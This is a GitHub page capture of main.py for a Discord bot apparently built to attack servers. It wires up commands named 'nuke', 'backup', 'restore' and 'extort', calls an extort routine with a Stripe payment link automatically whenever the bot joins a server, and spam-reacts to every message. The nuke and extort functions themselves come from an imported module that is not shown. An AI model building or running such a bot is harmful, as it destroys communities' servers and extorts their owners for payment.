-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
63 lines (47 loc) · 1.45 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from nuke import *
import os
from discord.ext import commands
token, payment_link = os.getenv('token'), os.getenv('stripe_link')
intents = discord.Intents.default()
intents.members, intents.message_content = True, True
bot = commands.Bot(command_prefix='$', intents=intents)
@bot.command(name='nuke')
async def nuke_command(ctx):
if b_nuke_on_command:
await nuke(ctx.channel.guild)
else:
await ctx.send('no')
@bot.command(name='backup')
async def backup_command(ctx):
if b_backup_on_command:
await backup(ctx.channel.guild)
else:
await ctx.send('no')
@bot.command(name='restore')
async def restore_command(ctx):
if b_restore_on_command:
await restore(ctx.channel.guild)
else:
await ctx.send('no')
@bot.command(name='extort')
async def extort_command(ctx):
if b_extort:
await extort(ctx.channel.guild, payment_link)
else:
await ctx.send('no')
@bot.event
async def on_message(message):
if b_spam_reacts:
reactions = ['😂', '🤐', '😏']
for reaction in reactions:
try:
await message.add_reaction(reaction)
except discord.errors.NotFound:
return
await bot.process_commands(message) # Needed because we have code in our on_message it seems
@bot.event
async def on_guild_join(guild):
if b_extort:
await extort(guild, payment_link)
if __name__ == '__main__':
bot.run(token=token)